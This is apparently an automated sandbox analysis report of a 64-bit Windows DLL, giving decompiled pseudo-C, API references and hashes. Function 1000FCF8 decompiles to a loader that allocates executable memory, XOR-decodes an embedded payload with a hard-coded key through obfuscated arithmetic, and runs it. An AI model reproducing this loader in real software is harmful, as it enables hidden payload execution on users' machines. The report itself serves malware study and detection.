                                                                        0x1000359d
                                                                        0x1000359d
                                                                        0x100035b3
                                                                        0x100035b9
                                                                        0x100035c0
                                                                        0x1000360d
                                                                        0x1000360d
                                                                        0x10003611
                                                                        0x00000000
                                                                        0x100035c7
                                                                        0x100035ca
                                                                        0x100035d2
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x100035d4
                                                                        0x100035d7
                                                                        0x100035dd
                                                                        0x100035e8
                                                                        0x100035ea
                                                                        0x100035ea
                                                                        0x100035df
                                                                        0x100035df
                                                                        0x100035df
                                                                        0x100035ee
                                                                        0x100035fe
                                                                        0x10003606
                                                                        0x1000363f
                                                                        0x1000367e
                                                                        0x10003600
                                                                        0x10003600
                                                                        0x00000000
                                                                        0x10003600
                                                                        0x100035fe
                                                                        0x1000358d
                                                                        0x1000358d
                                                                        0x1000358d
                                                                        0x10003618
                                                                        0x10003618
                                                                        0x1000361c
                                                                        0x10003620
                                                                        0x10003630
                                                                        0x10003636
                                                                        0x00000000
                                                                        0x10003636
                                                                        0x1000340f
                                                                        0x10003417
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x1000341d
                                                                        0x10003420
                                                                        0x10003424
                                                                        0x10003428
                                                                        0x10003431
                                                                        0x1000343d
                                                                        0x100034d5
                                                                        0x100034dc
                                                                        0x100034dc
                                                                        0x100034e2
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x100034e4
                                                                        0x100034e4
                                                                        0x100034e4
                                                                        0x100034ec
                                                                        0x100034f4
                                                                        0x100034fa
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x100034fe
                                                                        0x1000350a
                                                                        0x10003514
                                                                        0x10003517
                                                                        0x1000351e
                                                                        0x10003526
                                                                        0x1000352d
                                                                        0x10003530
                                                                        0x10003540
                                                                        0x10003548
                                                                        0x00000000
                                                                        0x10003548
                                                                        0x10003542
                                                                        0x00000000
                                                                        0x10003542
                                                                        0x10003500
                                                                        0x10003508
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10003508
                                                                        0x10003552
                                                                        0x10003552
                                                                        0x10003555
                                                                        0x10003559
                                                                        0x1000355d
                                                                        0x00000000
                                                                        0x100034e4
                                                                        0x10003443
                                                                        0x10003450
                                                                        0x10003458
                                                                        0x1000345d
                                                                        0x10003463
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10003465
                                                                        0x1000346f
                                                                        0x10003472
                                                                        0x10003478
                                                                        0x10003478
                                                                        0x10003482
                                                                        0x100034c1
                                                                        0x100034c1
                                                                        0x100034c8
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10003484
                                                                        0x10003484
                                                                        0x10003484
                                                                        0x10003489
                                                                        0x10003490
                                                                        0x10003495
                                                                        0x10003499
                                                                        0x1000349e
                                                                        0x100034a3
                                                                        0x100034a8
                                                                        0x100034b0
                                                                        0x100034b6
                                                                        0x100034bb
                                                                        0x00000000
                                                                        0x100034bb
                                                                        0x100034cc
                                                                        0x00000000
                                                                        0x100034cc
                                                                        0x100033bd
                                                                        0x100033c0
                                                                        0x100033c0
                                                                        0x100033c4
                                                                        0x100033cb
                                                                        0x100033d0
                                                                        0x100033d4
                                                                        0x100033d8
                                                                        0x100033dd
                                                                        0x100033e2
                                                                        0x100033f3
                                                                        0x100033f8
                                                                        0x00000000
                                                                        0x100033f8
                                                                        0x10003397
                                                                        0x10003397
                                                                        0x00000000

                                                                        APIs
                                                                        • GetStartupInfoA.KERNEL32 ref: 1000337B
                                                                          • Part of subcall function 10003210: Sleep.KERNEL32(?,?,?,?,10002DE7,?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10003260
                                                                        • GetFileType.KERNEL32 ref: 10003500
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: FileInfoSleepStartupType
                                                                        • String ID: @
                                                                        • API String ID: 1527402494-2766056989
                                                                        • Opcode ID: a629fe28bad6ae14f24d75e5f252561c7f8a0f620e219f153d107842b507b501
                                                                        • Instruction ID: ea9df6acde70dcfa88e3c819afc54093bb73b0343c15283455e61cbb80ec32e9
                                                                        • Opcode Fuzzy Hash: a629fe28bad6ae14f24d75e5f252561c7f8a0f620e219f153d107842b507b501
                                                                        • Instruction Fuzzy Hash: D381E272704B8082EB56CB24D84435A3BA9F7097F4F25C715CABA4B3E8DB79D995C302
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 100030D0 Relevance: 7.5, APIs: 5, Instructions: 47memorythreadCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        C-Code - Quality: 18%
                                                                        			E100030D0(void* __edx, void* __eflags, long* __rax, void* __rcx, void* __rdx, void* __rdi, void* __rsi, void* __r12, void* __r13) {
				void* __rbx;
				intOrPtr _t4;
				void* _t8;
				long _t10;
				intOrPtr _t12;
				intOrPtr _t13;
				long* _t25;
				long* _t26;
				long* _t31;
				void* _t34;

				_t35 = __r12;
				_t33 = __rsi;
				_t32 = __rdi;
				_t25 = __rax;
				E10001DF0(__eflags, __rax, __rcx, __rdx); // executed
				_t4 = E10004380(_t26, __rdi, __rsi, _t34, __r12, __r13);
				if(_t4 == 0) {
					L5:
					_t12 =  *0x10016398; // 0x7
					__eflags = _t12 - 0xffffffff;
					if(_t12 != 0xffffffff) {
						__imp__FlsFree();
						 *0x10016398 = 0xffffffff;
					}
					goto L7;
				} else {
					__imp__FlsAlloc();
					 *0x10016398 = _t4;
					if(_t4 == 0xffffffff) {
						L7:
						_t13 =  *0x1001639c; // 0xffffffff
						__eflags = _t13 - 0xffffffff;
						if(_t13 != 0xffffffff) {
							TlsFree();
							 *0x1001639c = 0xffffffff;
						}
						E10004430(_t26, _t32, _t33, _t34, _t35);
						__eflags = 0;
						return 0;
					} else {
						_t8 = E10003210(_t25, _t26, 0x10002ef0, __rdx, _t32, _t33, _t34, _t35);
						_t26 = _t25;
						if(_t25 == 0) {
							goto L5;
						} else {
							_t31 = _t25;
							__imp__FlsSetValue();
							if(_t8 == 0) {
								goto L5;
							} else {
								E10002CA0(_t25, _t26, _t26, _t31, _t32, _t33);
								_t10 = GetCurrentThreadId();
								_t26[2] = 0xffffffff;
								 *_t26 = _t10;
								return 1;
							}
						}
					}
				}
			}













                                                                        0x100030d0
                                                                        0x100030d0
                                                                        0x100030d0
                                                                        0x100030d0
                                                                        0x100030d6
                                                                        0x100030db
                                                                        0x100030e2
                                                                        0x1000314b
                                                                        0x1000314b
                                                                        0x10003151
                                                                        0x10003154
                                                                        0x10003156
                                                                        0x1000315c
                                                                        0x1000315c
                                                                        0x00000000
                                                                        0x100030e4
                                                                        0x100030eb
                                                                        0x100030f4
                                                                        0x100030fa
                                                                        0x10003166
                                                                        0x10003166
                                                                        0x1000316c
                                                                        0x1000316f
                                                                        0x10003171
                                                                        0x10003177
                                                                        0x10003177
                                                                        0x10003181
                                                                        0x10003186
                                                                        0x1000318d
                                                                        0x100030fc
                                                                        0x10003106
                                                                        0x1000310e
                                                                        0x10003111
                                                                        0x00000000
                                                                        0x10003113
                                                                        0x10003119
                                                                        0x1000311c
                                                                        0x10003124
                                                                        0x00000000
                                                                        0x10003126
                                                                        0x1000312b
                                                                        0x10003130
                                                                        0x10003136
                                                                        0x1000313e
                                                                        0x1000314a
                                                                        0x1000314a
                                                                        0x10003124
                                                                        0x10003111
                                                                        0x100030fa

                                                                        APIs
                                                                          • Part of subcall function 10001DF0: _initp_misc_winsig.LIBCMT ref: 10001E29
                                                                        • FlsAlloc.KERNEL32(?,?,00000000,100015FD), ref: 100030EB
                                                                          • Part of subcall function 10003210: Sleep.KERNEL32(?,?,?,?,10002DE7,?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10003260
                                                                        • FlsSetValue.KERNEL32(?,?,00000000,100015FD), ref: 1000311C
                                                                          • Part of subcall function 10002CA0: GetModuleHandleA.KERNEL32(?,?,?,?,10002E0C,?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10002CC0
                                                                          • Part of subcall function 10002CA0: GetProcAddress.KERNEL32(?,?,?,?,10002E0C,?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10002CED
                                                                          • Part of subcall function 10002CA0: GetProcAddress.KERNEL32(?,?,?,?,10002E0C,?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10002D04
                                                                        • GetCurrentThreadId.KERNEL32 ref: 10003130
                                                                        • FlsFree.KERNEL32(?,?,00000000,100015FD), ref: 10003156
                                                                        • TlsFree.KERNEL32(?,?,00000000,100015FD), ref: 10003171
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: AddressFreeProc$AllocCurrentHandleModuleSleepThreadValue_initp_misc_winsig
                                                                        • String ID:
                                                                        • API String ID: 3227885977-0
                                                                        • Opcode ID: abf1290fa3b3304a04c8706419daf14e3eaf97f541eb46adb131f7f8e16a17df
                                                                        • Instruction ID: a24e0573b6aa400838aa16af59e67fda99aeb3f5a1e4e7d486ce313ceeb23878
                                                                        • Opcode Fuzzy Hash: abf1290fa3b3304a04c8706419daf14e3eaf97f541eb46adb131f7f8e16a17df
                                                                        • Instruction Fuzzy Hash: FD11657060060182F74ADBB5EC453E53396DB4DBF4F558314E9BA462E8DFB8D9C18710
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10003AF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 459 10003af0-10003afb 460 10003b02-10003b3c GetModuleFileNameA 459->460 461 10003afd call 10005e00 459->461 463 10003b43 460->463 464 10003b3e-10003b41 460->464 461->460 465 10003b46-10003b79 call 100038b0 463->465 464->463 464->465 468 10003be7-10003bff 465->468 469 10003b7b-10003b84 465->469 469->468 470 10003b86-10003b8d 469->470 470->468 471 10003b8f-10003b9a call 10003190 470->471 471->468 474 10003b9c-10003be6 call 100038b0 471->474
                                                                        C-Code - Quality: 70%
                                                                        			E10003AF0(long long __rbx, long long __rdi, long long __rsi, void* __r8, void* __r12, void* __r13, void* __r14, char _a8, long long _a16, long long _a24, long long _a32) {
				char _v24;
				long long _v40;
				long long _t42;
				long long _t44;
				char* _t45;
				long long _t53;
				long long _t56;
				long long _t58;
				signed long long _t59;
				void* _t62;
				void* _t63;
				void* _t67;
				void* _t68;
				void* _t69;

				_t69 = __r14;
				_t68 = __r13;
				_t67 = __r12;
				_t63 = __r8;
				_t58 = __rsi;
				_t53 = __rdi;
				_t44 = __rbx;
				if( *0x10018858 == 0) {
					E10005E00(); // executed
				}
				_a16 = _t44;
				_a32 = _t53;
				r8d = 0x104;
				 *0x10017bb4 = 0;
				GetModuleFileNameA(??, ??, ??);
				_t45 =  *0x10018870;
				 *0x10017760 = 0x10017ab0;
				if(_t45 == 0 ||  *_t45 == 0) {
					_t45 = 0x10017ab0;
				}
				r8d = 0;
				_a24 = _t58;
				_v40 =  &_v24;
				E100038B0(_t45, _t45, 0x10017ab0, 0x10017ab0, _t58, _t62, _t63,  &_a8, _t67, _t68, _t69);
				_t59 = _a8;
				if(_t59 >= 0xffffffff) {
					L10:
					return 0xffffffff;
				} else {
					_t42 = _v24;
					if(_t42 >= 0xffffffff) {
						goto L10;
					} else {
						_t49 = _t42 + _t59 * 8;
						if(_t42 + _t59 * 8 < _t42) {
							goto L10;
						} else {
							E10003190(0, _t42, _t45, _t49, 0x10017ab0, _t59, _t62);
							_t56 = _t42;
							if(_t42 == 0) {
								goto L10;
							} else {
								_v40 =  &_v24;
								E100038B0(_t45, _t45, _t56, _t56, _t59, _t62, _t42 + _t59 * 8,  &_a8, _t67, _t68, _t69);
								r11d = _a8;
								 *0x10017730 = _t56;
								r11d = r11d + 0xffffffff;
								 *0x10017728 = r11d;
								return 0;
							}
						}
					}
				}
			}

















                                                                        0x10003af0
                                                                        0x10003af0
                                                                        0x10003af0
                                                                        0x10003af0
                                                                        0x10003af0
                                                                        0x10003af0
                                                                        0x10003af0
                                                                        0x10003afb
                                                                        0x10003afd
                                                                        0x10003afd
                                                                        0x10003b02
                                                                        0x10003b07
                                                                        0x10003b13
                                                                        0x10003b1e
                                                                        0x10003b25
                                                                        0x10003b2b
                                                                        0x10003b35
                                                                        0x10003b3c
                                                                        0x10003b43
                                                                        0x10003b43
                                                                        0x10003b50
                                                                        0x10003b58
                                                                        0x10003b5d
                                                                        0x10003b62
                                                                        0x10003b67
                                                                        0x10003b79
                                                                        0x10003be7
                                                                        0x10003bff
                                                                        0x10003b7b
                                                                        0x10003b7b
                                                                        0x10003b84
                                                                        0x00000000
                                                                        0x10003b86
                                                                        0x10003b86
                                                                        0x10003b8d
                                                                        0x00000000
                                                                        0x10003b8f
                                                                        0x10003b8f
                                                                        0x10003b97
                                                                        0x10003b9a
                                                                        0x00000000
                                                                        0x10003b9c
                                                                        0x10003bb0
                                                                        0x10003bb5
                                                                        0x10003bba
                                                                        0x10003bbf
                                                                        0x10003bc6
                                                                        0x10003bcc
                                                                        0x10003be6
                                                                        0x10003be6
                                                                        0x10003b9a
                                                                        0x10003b8d
                                                                        0x10003b84

                                                                        APIs
                                                                        • __initmbctable.LIBCMT ref: 10003AFD
                                                                        • GetModuleFileNameA.KERNEL32(?,?,?,?,?,?,?,?,1000162D), ref: 10003B25
                                                                        Strings
                                                                        • C:\Windows\SYSTEM32\loaddll64.exe, xrefs: 10003B0C
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: FileModuleName__initmbctable
                                                                        • String ID: C:\Windows\SYSTEM32\loaddll64.exe
                                                                        • API String ID: 3548084100-2954307819
                                                                        • Opcode ID: b01ec957dd4c660611dc8156184c9cacdead507d97193cfd17d497c03b625d2a
                                                                        • Instruction ID: ce1343022859d0250de2f7760148bcd73f643fca83ebd26518cdba81ae6ebcc9
                                                                        • Opcode Fuzzy Hash: b01ec957dd4c660611dc8156184c9cacdead507d97193cfd17d497c03b625d2a
                                                                        • Instruction Fuzzy Hash: A4212B36618B8085EA02CB55E54438AB7A5F789BF4F844316EAAD03BE8DFB8D145CB00
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10009510 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 541 10009510-10009554 call 10008f30 ExitProcess
                                                                        C-Code - Quality: 25%
                                                                        			E10009510() {
				long long _v24;
				long long _v40;
				long long _t8;

				_v24 = 0;
				_t8 = "TGHXadqWaOOp";
				_v40 = _t8;
				r9d = 0x49;
				E10008F30(0x54485, 0x1869f, _t8,  *0x10018040);
				_v24 = _t8;
				ExitProcess(??);
			}






                                                                        0x10009514
                                                                        0x1000951d
                                                                        0x10009524
                                                                        0x10009529
                                                                        0x10009540
                                                                        0x10009545
                                                                        0x1000954a

                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: ExitProcess
                                                                        • String ID: TGHXadqWaOOp
                                                                        • API String ID: 621844428-158429771
                                                                        • Opcode ID: 5ff2ded29e0fef8c2bbd1133b6c4886359b9f0698d91d371d38d2fab2481eaff
                                                                        • Instruction ID: 41d3b6f1bb3a198b731576a6871bc165246908f91384e01005658ef397cf0899
                                                                        • Opcode Fuzzy Hash: 5ff2ded29e0fef8c2bbd1133b6c4886359b9f0698d91d371d38d2fab2481eaff
                                                                        • Instruction Fuzzy Hash: 27E01775634B808AD3819B91F84478A73A9F38C388F801139EBCD57B48DF7CC26A8B00
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 1000FCF8 Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 315memoryCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 544 1000fcf8-1000fe9d VirtualAlloc call 10001200 549 1000fea3-100103d0 544->549 550 100103d5-100103eb 544->550 552 100103f1-1001041e LoadStringW 550->552 553 100107c8 550->553 555 10010420-10010442 LoadStringW 552->555 556 1001048c-10010494 GetLastError 552->556 554 100107cd-100107e4 call 10001050 553->554 555->556 558 10010444-10010466 LoadStringW 555->558 559 100104a5-100104ba GetLastError 556->559 560 10010496-100104a3 GetLastError 556->560 558->556 562 10010468-1001048a LoadStringW 558->562 563 100104c1-100104e2 call 10009260 559->563 560->563 562->556 564 100104e7-10010502 call 10001450 562->564 563->554 569 10010523 564->569 570 10010504-10010521 call 10010bb0 564->570 572 1001052f-10010556 569->572 570->572 574 100105c2-100105d4 call 100082c0 572->574 575 10010558-10010580 572->575 582 100105d6-100105ec call 10009e50 574->582 583 100105ee-100105f6 GetLastError 574->583 577 10010582-1001059c call 10001000 575->577 578 1001059e 575->578 581 100105aa-100105bd call 10009260 577->581 578->581 581->554 582->583 592 10010649-1001066d LoadAcceleratorsW 582->592 587 10010607-1001061c GetLastError 583->587 588 100105f8-10010605 GetLastError 583->588 591 10010623-10010644 call 10009260 587->591 588->591 591->554 595 100106ca-100106e2 GetMessageW 592->595 596 1001066f-10010677 GetLastError 592->596 597 100106e4-100106fb IsDialogMessageW 595->597 598 1001075d-10010785 595->598 599 10010679-10010686 GetLastError 596->599 600 10010688-1001069d GetLastError 596->600 602 100106fd 597->602 603 100106ff-10010716 IsDialogMessageW 597->603 604 100107a3 598->604 605 10010787-100107a1 call 10001000 598->605 601 100106a4-100106c5 call 10009260 599->601 600->601 601->554 602->595 608 10010718 603->608 609 1001071a-1001073a TranslateAcceleratorW 603->609 606 100107af-100107c6 MessageBoxA 604->606 605->606 606->554 608->595 612 10010758 609->612 613 1001073c-10010752 TranslateMessage DispatchMessageW 609->613 612->595 613->612
                                                                        C-Code - Quality: 32%
                                                                        			E1000FCF8(void* __r8, long long _a40, intOrPtr _a3056, long long _a3064, long long _a3120, intOrPtr _a3136, signed long long _a3152, long long _a3160, char _a3168, signed long long _a3216, long long _a3240, long long _a3248, long long _a3256, long long _a3264, long long _a3272, long long _a3280, signed int _a3292, signed long long _a3296, long long _a3304, long long _a3312, signed long long _a3320, signed long long _a3324, long long _a3328, signed int _a3336, long long _a3360) {
				void* _t87;
				intOrPtr _t89;
				signed long long _t109;
				signed long long _t114;
				signed long long _t119;
				signed long long _t120;
				void* _t122;
				signed short _t123;
				signed long long _t129;
				signed long long _t134;
				signed long long _t136;
				signed long long _t140;
				signed long long _t141;
				signed long long _t142;
				signed long long _t149;
				signed int _t238;
				signed int _t241;
				signed int _t244;
				signed int _t246;
				signed int _t250;
				signed int _t290;
				intOrPtr _t346;
				signed int _t355;
				signed int _t357;
				signed int _t360;
				signed int _t362;
				signed int _t364;
				signed int _t367;
				signed int _t371;
				signed int _t373;
				signed int _t375;
				signed int _t378;
				signed int _t380;
				signed int _t383;
				signed int _t385;
				signed int _t387;
				signed int _t390;
				signed int _t394;
				signed int _t396;
				signed int _t398;
				signed int _t401;
				signed int _t403;
				signed int _t406;
				signed int _t408;
				signed int _t410;
				signed int _t413;
				signed int _t417;
				signed int _t419;
				signed int _t421;
				void* _t424;
				long long _t429;
				long long _t431;
				long long _t433;
				long long _t435;
				intOrPtr _t442;
				void* _t459;
				void* _t460;
				signed long long _t461;
				void* _t468;

				r9d = 0x40;
				r8d = 0x3000;
				_t87 = VirtualAlloc(??, ??, ??, ??); // executed
				_a3064 = _a40;
				r8d = 0x30;
				E10001200(_t87, 0, 0, 0x10018018, _a40, __r8);
				 *0x10018020 = "hSik4o>60zWiGIx*4JyLt)j)%RbUHeX";
				 *0x10018028 = 0x20;
				_t429 = _a3360;
				 *0x10018018 = _t429;
				 *0x10018030 = 0x10d1c;
				 *0x10018038 = 0x17;
				_a3136 = 0x160d2;
				_a3152 = 0;
				while(1) {
					_t89 =  *0x10017150; // 0x0
					_t238 =  *0x1001714c; // 0x0
					_t346 =  *0x10017150; // 0x0
					_t241 =  *0x10017148; // 0x0
					_t244 =  *0x10017140; // 0x0
					_t246 =  *0x10017148; // 0x0
					_t250 =  *0x10017140; // 0x0
					_t251 = _t250 *  *0x10017140;
					if(_a3152 >= _t238 *  *0x1001713c + _t346 + _a40 - _t89 +  *0x10017144 -  *0x10017150 -  *0x1001714c +  *0x1001713c + _t241 *  *0x10017140 *  *0x1001714c + _t244 *  *0x10017140 -  *0x10017140 - _t246 *  *0x1001714c *  *0x10017148 *  *0x1001713c + _t250 *  *0x10017140 -  *0x1001714c +  *0x10017148 -  *0x10017144 +  *0x10017144) {
						break;
					}
					_a3292 =  *(_t461 + _t429 + 0x50) & 0x000000ff;
					asm("cdq");
					_t290 =  *0x10017140; // 0x0
					_t355 =  *0x10017140; // 0x0
					_t357 =  *0x1001714c; // 0x0
					r8d =  *0x1001713c; // 0x0
					r8d = r8d + _a3152 - _t290 - _t355 *  *0x10017144;
					_t360 =  *0x10017144; // 0x0
					_t362 =  *0x10017140; // 0x0
					_t364 =  *0x1001714c; // 0x0
					_t367 =  *0x10017140; // 0x0
					r8d =  *0x10017144; // 0x0
					r8d = r8d + _t357 *  *0x1001714c + r8d + _t360 *  *0x1001714c -  *0x10017150 +  *0x10017144 - _t362 *  *0x1001713c -  *0x10017150 - _t364 *  *0x1001713c *  *0x10017144;
					_t371 =  *0x1001714c; // 0x0
					_t373 =  *0x10017140; // 0x0
					_t375 =  *0x10017140; // 0x0
					_t378 =  *0x10017140; // 0x0
					_t380 =  *0x1001714c; // 0x0
					r8d =  *0x1001713c; // 0x0
					r8d = r8d + _t367 *  *0x10017148 *  *0x1001714c + r8d - _t371 *  *0x10017140 + _t373 *  *0x1001714c -  *0x10017144 - _t375 *  *0x1001714c *  *0x10017148 +  *0x10017150 -  *0x10017150 -  *0x10017140 - _t378 *  *0x10017144;
					_t383 =  *0x10017144; // 0x0
					_t385 =  *0x10017140; // 0x0
					_t387 =  *0x1001714c; // 0x0
					_t390 =  *0x10017140; // 0x0
					r8d =  *0x10017144; // 0x0
					r8d = r8d + _t380 *  *0x1001714c + r8d + _t383 *  *0x1001714c -  *0x10017150 +  *0x10017144 - _t385 *  *0x1001713c -  *0x10017150 - _t387 *  *0x1001713c *  *0x10017144;
					_t394 =  *0x1001714c; // 0x0
					_t396 =  *0x10017140; // 0x0
					_t398 =  *0x10017140; // 0x0
					_t401 =  *0x10017140; // 0x0
					_t403 =  *0x1001714c; // 0x0
					r8d =  *0x1001713c; // 0x0
					r8d = r8d + _t390 *  *0x10017148 *  *0x1001714c + r8d - _t394 *  *0x10017140 + _t396 *  *0x1001714c -  *0x10017144 - _t398 *  *0x1001714c *  *0x10017148 +  *0x10017150 -  *0x10017150 -  *0x10017140 - _t401 *  *0x10017144;
					_t406 =  *0x10017144; // 0x0
					_t408 =  *0x10017140; // 0x0
					_t410 =  *0x1001714c; // 0x0
					_t413 =  *0x10017140; // 0x0
					r8d =  *0x10017144; // 0x0
					r8d = r8d + _t403 *  *0x1001714c + r8d + _t406 *  *0x1001714c -  *0x10017150 +  *0x10017144 - _t408 *  *0x1001713c -  *0x10017150 - _t410 *  *0x1001713c *  *0x10017144;
					_t417 =  *0x1001714c; // 0x0
					_t419 =  *0x10017140; // 0x0
					_t421 =  *0x10017140; // 0x0
					 *((char*)(_a3064 + _t413 *  *0x10017148 *  *0x1001714c + r8d - _t417 *  *0x10017140 + _t419 *  *0x1001714c -  *0x10017144 - _t421 *  *0x1001714c *  *0x10017148 +  *0x10017150 -  *0x10017150)) = _a3292 ^  *( *0x10018020 + _t429) & 0x000000ff;
					_a3152 = _a3152 + 1;
					_a3136 = _a3136 + 1;
				}
				_a3064();
				__eflags =  *0x10018040;
				if( *0x10018040 == 0) {
					_a3216 = 0;
					r9d = 0xf;
					_t348 = 0x83;
					_t440 = _a3120;
					_t109 = LoadStringW(??, ??, ??, ??);
					__eflags = _t109;
					if(_t109 == 0) {
						L10:
						__eflags = GetLastError();
						if(__eflags > 0) {
							_t114 = GetLastError() & 0x0000ffff | 0x80070000;
							__eflags = _t114;
							_a3296 = _t114;
						} else {
							_a3296 = GetLastError();
						}
						_a3216 = _a3296;
						_t251 = _a3216;
						E10009260(_a3216, _t348, __eflags, _t440);
					} else {
						r9d = 0x14;
						_t348 = 0x84;
						_t440 = _a3120;
						_t119 = LoadStringW(??, ??, ??, ??);
						__eflags = _t119;
						if(_t119 == 0) {
							goto L10;
						} else {
							r9d = 0x64;
							_t348 = 0x67;
							_t440 = _a3120;
							_t120 = LoadStringW(??, ??, ??, ??);
							__eflags = _t120;
							if(_t120 == 0) {
								goto L10;
							} else {
								r9d = 0x64;
								_t467 = 0x10018480;
								_t348 = 0x6d;
								_t440 = _a3120;
								__eflags = LoadStringW(??, ??, ??, ??);
								if(__eflags != 0) {
									_t122 = E10001450(4, 0x6d, _t424, __eflags, _t429, _t440, _t459, _t460, 0x10018480, _t468);
									_a3248 = _t429;
									__eflags = _a3248;
									if(_a3248 == 0) {
										_a3304 = 0;
									} else {
										_t440 = _a3248;
										E10010BB0(_t122, _a3248,  &_a3216);
										_a3304 = _t429;
									}
									_a3240 = _a3304;
									_t431 = _a3240;
									 *0x10018048 = _t431;
									__eflags = _a3216;
									if(_a3216 >= 0) {
										_t441 = _a3120;
										_t123 = E100082C0(4, _a3120);
										__eflags = _t123 & 0x0000ffff;
										if((_t123 & 0x0000ffff) == 0) {
											L24:
											__eflags = GetLastError();
											if(__eflags > 0) {
												_t129 = GetLastError() & 0x0000ffff | 0x80070000;
												__eflags = _t129;
												_a3320 = _t129;
											} else {
												_a3320 = GetLastError();
											}
											_a3216 = _a3320;
											_t251 = _a3216;
											E10009260(_a3216, _t348, __eflags, _t441);
										} else {
											_t348 = _a3056;
											_t441 = _a3120;
											_t134 = E10009E50(_a3056, _a3120);
											__eflags = _t134;
											if(_t134 != 0) {
												_t442 = _a3120;
												LoadAcceleratorsW(??, ??);
												_a3160 = _t431;
												__eflags = _a3160;
												if(_a3160 != 0) {
													while(1) {
														r9d = 0;
														r8d = 0;
														_t136 = GetMessageW(??, ??, ??, ??);
														__eflags = _t136;
														if(_t136 == 0) {
															break;
														}
														_t140 = IsDialogMessageW();
														__eflags = _t140;
														if(_t140 == 0) {
															_t141 = IsDialogMessageW();
															__eflags = _t141;
															if(_t141 == 0) {
																_t467 =  &_a3168;
																_t142 = TranslateAcceleratorW(??, ??, ??);
																__eflags = _t142;
																if(_t142 == 0) {
																	TranslateMessage();
																	DispatchMessageW(??);
																}
															} else {
															}
														} else {
														}
														continue;
														L44:
														r9d = 0;
														r8d = 0;
														_t251 = 0;
														MessageBoxA(??, ??, ??, ??);
														goto L46;
													}
													_a3280 =  *0x10018048;
													_t433 = _a3280;
													_a3272 = _t433;
													__eflags = _a3272;
													if(_a3272 == 0) {
														_a3328 = 0;
													} else {
														E10001000(4, 1, _t433, _a3272, _t467);
														_a3328 = _t433;
													}
													goto L44;
												} else {
